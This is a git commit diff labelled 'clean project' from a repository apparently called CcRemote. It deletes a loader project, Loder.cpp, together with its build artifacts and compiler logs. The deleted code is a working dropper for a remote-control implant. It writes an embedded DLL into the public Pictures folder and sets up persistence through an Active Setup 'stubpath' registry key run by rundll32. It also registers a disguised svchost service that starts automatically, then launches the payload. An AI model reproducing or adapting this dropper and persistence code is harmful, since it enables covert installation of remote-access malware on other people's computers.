mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-12 23:40:02 +00:00
clean project
This commit is contained in:
parent
643faacca1
commit
a771676786
Binary file not shown.
@ -5,10 +5,6 @@ VisualStudioVersion = 15.0.28307.1082
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMainDll.vcxproj", "{912043E1-526F-4C23-AF8B-0D76C07F5723}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
@ -25,22 +21,6 @@ Global
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.Build.0 = Release|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.ActiveCfg = Release|Win32
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.Build.0 = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.Build.0 = Debug|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.ActiveCfg = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
@ -1,17 +0,0 @@
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj
|
||||
f:\myapp\ccremote\bin\server\loder.exe
|
||||
f:\myapp\ccremote\bin\server\loder.ilk
|
||||
f:\myapp\ccremote\bin\server\loder.pdb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.res
|
||||
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
|
@ -1,30 +0,0 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
Binary file not shown.
@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
@ -1,366 +0,0 @@
|
||||
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
#include <afx.h>
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include "resource.h"
|
||||
#include "RegEditEx.h"
|
||||
#include <shlobj.h>
|
||||
|
||||
|
||||
#pragma comment(lib, "shell32.lib")
|
||||
|
||||
struct Connect_Address
|
||||
{
|
||||
DWORD dwstact;
|
||||
char strIP[MAX_PATH];
|
||||
int nPort;
|
||||
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
|
||||
}g_myAddress = { 0xCC28257,"",0,"" };
|
||||
|
||||
|
||||
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes)
|
||||
{
|
||||
int da, i, j;
|
||||
if (sizes == 0) da = strlen(str);
|
||||
else da = sizes;
|
||||
for (i = 0; i < sizem; i++)
|
||||
{
|
||||
for (j = 0; j < da; j++)
|
||||
if (mem[i + j] != str[j]) break;
|
||||
if (j == da) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
|
||||
HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if (hFile != NULL)
|
||||
{
|
||||
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return true;
|
||||
}
|
||||
//要释放的路径 资源ID 资源名
|
||||
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName,char* pActiveXKeyGuid = NULL)
|
||||
{
|
||||
HRSRC hResInfo;
|
||||
HGLOBAL hResData;
|
||||
DWORD dwSize;
|
||||
LPBYTE p;
|
||||
// 查找所需的资源
|
||||
hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
|
||||
if (hResInfo == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 获得资源尺寸
|
||||
dwSize = SizeofResource(NULL, hResInfo);
|
||||
// 装载资源
|
||||
hResData = LoadResource(NULL, hResInfo);
|
||||
if (hResData == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 为数据分配空间
|
||||
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
|
||||
if (p == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 复制资源数据
|
||||
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
|
||||
|
||||
// 设置guid
|
||||
if (pActiveXKeyGuid != NULL)
|
||||
{
|
||||
g_myAddress.dwstact = g_myAddress.dwstact - 1;//不然内存中会有两个CC28256 我们只招一个
|
||||
int nOffset = memfind((char*)p, (char*)&g_myAddress.dwstact, dwSize, sizeof(DWORD));
|
||||
if (nOffset >= 0)
|
||||
{
|
||||
memcpy(&g_myAddress, p + nOffset, sizeof(Connect_Address));
|
||||
strcpy(g_myAddress.ActiveXKeyGuid, pActiveXKeyGuid);
|
||||
memcpy(p + nOffset, &g_myAddress, sizeof(Connect_Address));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
bool bRet = CreateMyFile(strFilePath, p, dwSize);
|
||||
if (!bRet)
|
||||
{
|
||||
GlobalFree((HGLOBAL)p);
|
||||
return false;
|
||||
}
|
||||
|
||||
GlobalFree((HGLOBAL)p);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
char *AddsvchostService()
|
||||
{
|
||||
char *lpServiceName = NULL;
|
||||
int rc = 0;
|
||||
HKEY hkRoot;
|
||||
char buff[2048];
|
||||
//打开装所有svchost服务名的注册表键
|
||||
//query svchost setting
|
||||
char *ptr;
|
||||
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
|
||||
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
return NULL;
|
||||
|
||||
DWORD type, size = sizeof buff;
|
||||
//枚举他所有的服务名
|
||||
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
|
||||
SetLastError(rc);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
int i = 0;
|
||||
bool bExist = false;
|
||||
char servicename[50];
|
||||
do
|
||||
{
|
||||
//这里获得类似这样的服务名netsvcs_0,netsvcs_1
|
||||
wsprintf(servicename, "netsvcs_0x%d", i);
|
||||
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
|
||||
{
|
||||
//然后比对一下服务名中是否有这个名字了
|
||||
if (lstrcmpi(ptr, servicename) == 0)
|
||||
{
|
||||
bExist = true;
|
||||
break; //如果没有就跳出
|
||||
}
|
||||
}
|
||||
if (bExist == false)
|
||||
break;
|
||||
bExist = false;
|
||||
i++;
|
||||
} while (1);
|
||||
|
||||
servicename[lstrlen(servicename) + 1] = '\0';
|
||||
//然后将这个服务名写到所有服务名的后面,
|
||||
//不要妄想,直接用api在一个注册表的键值后面添加一些信息
|
||||
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
|
||||
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
|
||||
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);
|
||||
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
SetLastError(rc);
|
||||
|
||||
if (bExist == false)
|
||||
{
|
||||
lpServiceName = new char[lstrlen(servicename) + 1];
|
||||
lstrcpy(lpServiceName, servicename);
|
||||
}
|
||||
//回到 InstallService
|
||||
return lpServiceName;
|
||||
}
|
||||
|
||||
void StartService(LPCTSTR lpService)
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager)
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
|
||||
if (NULL != hService)
|
||||
{
|
||||
StartService(hService, 0, NULL);
|
||||
CloseServiceHandle(hService);
|
||||
printf("lpService");
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int ServerSetup()
|
||||
{
|
||||
|
||||
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
|
||||
char lpServiceDescription[]= "CcRemote服务";
|
||||
char strModulePath[MAX_PATH];
|
||||
char strSysDir[MAX_PATH];
|
||||
char strSubKey[1024];
|
||||
DWORD dwStartType = 0;
|
||||
char strRegKey[1024];
|
||||
int rc = 0;
|
||||
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
|
||||
SC_HANDLE hscm = NULL, schService = NULL;
|
||||
|
||||
//打开服务
|
||||
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
GetSystemDirectory(strSysDir, sizeof(strSysDir));
|
||||
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
|
||||
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
|
||||
char lpServiceDisplayName[128] = {0};
|
||||
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
|
||||
//这里返回新的服务名后就构造服务dll的名字
|
||||
memset(strModulePath, 0, sizeof(strModulePath));
|
||||
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
|
||||
|
||||
//然后构造服务中的描述信息的位置
|
||||
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
|
||||
schService = CreateService(
|
||||
hscm, // SCManager database
|
||||
lpServiceName, // name of service
|
||||
lpServiceDisplayName, // service name to display
|
||||
SERVICE_ALL_ACCESS, // desired access
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START, // start type
|
||||
SERVICE_ERROR_NORMAL, // error control type
|
||||
bin, // service's binary
|
||||
NULL, // no load ordering group
|
||||
NULL, // no tag identifier
|
||||
NULL, // no dependencies
|
||||
NULL, // LocalSystem account
|
||||
NULL); // no password
|
||||
dwStartType = SERVICE_WIN32_OWN_PROCESS;
|
||||
|
||||
if (schService == NULL)
|
||||
{
|
||||
throw "CreateService(Parameters)";
|
||||
printf("schServicenull");
|
||||
}
|
||||
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
|
||||
hkRoot = HKEY_LOCAL_MACHINE;
|
||||
//这里构造服务的描述键
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
|
||||
{
|
||||
DWORD dwServiceType = 0x120;
|
||||
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
|
||||
}
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
|
||||
|
||||
lstrcat(strSubKey, "\\Parameters");
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
|
||||
|
||||
if (schService != NULL)
|
||||
{
|
||||
CreateEXE(strModulePath, IDR_DLL1, "DLL");
|
||||
StartService(lpServiceName);
|
||||
}
|
||||
RegCloseKey(hkRoot);
|
||||
RegCloseKey(hkParam);
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
system("pause");
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
BOOL GetNUM(char *num)
|
||||
{
|
||||
CoInitialize(NULL);
|
||||
char buf[64] = { 0 };
|
||||
GUID guid;
|
||||
if (S_OK == ::CoCreateGuid(&guid))
|
||||
{
|
||||
_snprintf(buf, sizeof(buf)
|
||||
, "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}"
|
||||
, guid.Data1
|
||||
, guid.Data2
|
||||
, guid.Data3
|
||||
, guid.Data4[0], guid.Data4[1], guid.Data4[2]
|
||||
, guid.Data4[3], guid.Data4[4], guid.Data4[5]
|
||||
, guid.Data4[6], guid.Data4[7]
|
||||
);
|
||||
}
|
||||
CoUninitialize();
|
||||
memcpy(num, buf, 64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ActiveXSetup()
|
||||
{
|
||||
HKEY hKey;
|
||||
char strFileName[MAX_PATH]; // dll文件名
|
||||
char ActivexStr[1024]; // 用于存储ActiveX的键字串
|
||||
char ActiveXKey[64]; // ActiveX 的GUID字串
|
||||
char strCmdLine[MAX_PATH]; // 存储启动的命令行参数
|
||||
char fileName[MAX_PATH] = "cserver"; // ActiveX 的GUID字串
|
||||
|
||||
// ActiveX路径
|
||||
char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\";
|
||||
|
||||
ZeroMemory(strFileName, MAX_PATH);
|
||||
//ZeroMemory(ActiveXPath, MAX_PATH);
|
||||
ZeroMemory(ActivexStr, 1024);
|
||||
ZeroMemory(ActiveXKey, 64);
|
||||
ZeroMemory(strCmdLine, MAX_PATH);
|
||||
|
||||
//得到Activex路径
|
||||
//strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\");
|
||||
//得到Activex的GUID
|
||||
GetNUM(ActiveXKey);
|
||||
//构造dll完整文件名
|
||||
//GetSystemDirectory(strFileName, MAX_PATH);
|
||||
SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE);
|
||||
strcat(strFileName, "\\");
|
||||
strcat(strFileName, fileName);
|
||||
strcat(strFileName, ".dll");
|
||||
|
||||
|
||||
|
||||
//构造ActiveX的注册表键值
|
||||
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
|
||||
//创建这个注册表
|
||||
RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey);
|
||||
|
||||
//构造程序启动的命令行参数
|
||||
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
|
||||
//将参数写道注册表中
|
||||
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine));
|
||||
//RegCloseKey(hKey);
|
||||
//释放文件
|
||||
CreateEXE(strFileName, IDR_DLL1, "DLL", ActiveXKey);
|
||||
|
||||
//启动服务端
|
||||
STARTUPINFO StartInfo;
|
||||
PROCESS_INFORMATION ProcessInformation;
|
||||
StartInfo.cb = sizeof(STARTUPINFO);
|
||||
StartInfo.lpDesktop = NULL;
|
||||
StartInfo.lpReserved = NULL;
|
||||
StartInfo.lpTitle = NULL;
|
||||
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
StartInfo.cbReserved2 = 0;
|
||||
StartInfo.lpReserved2 = NULL;
|
||||
StartInfo.wShowWindow = SW_SHOWNORMAL;
|
||||
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
|
||||
return;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// TODO: Place code here.
|
||||
ActiveXSetup();
|
||||
return 0;
|
||||
}
|
Binary file not shown.
@ -1,181 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>Loder</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
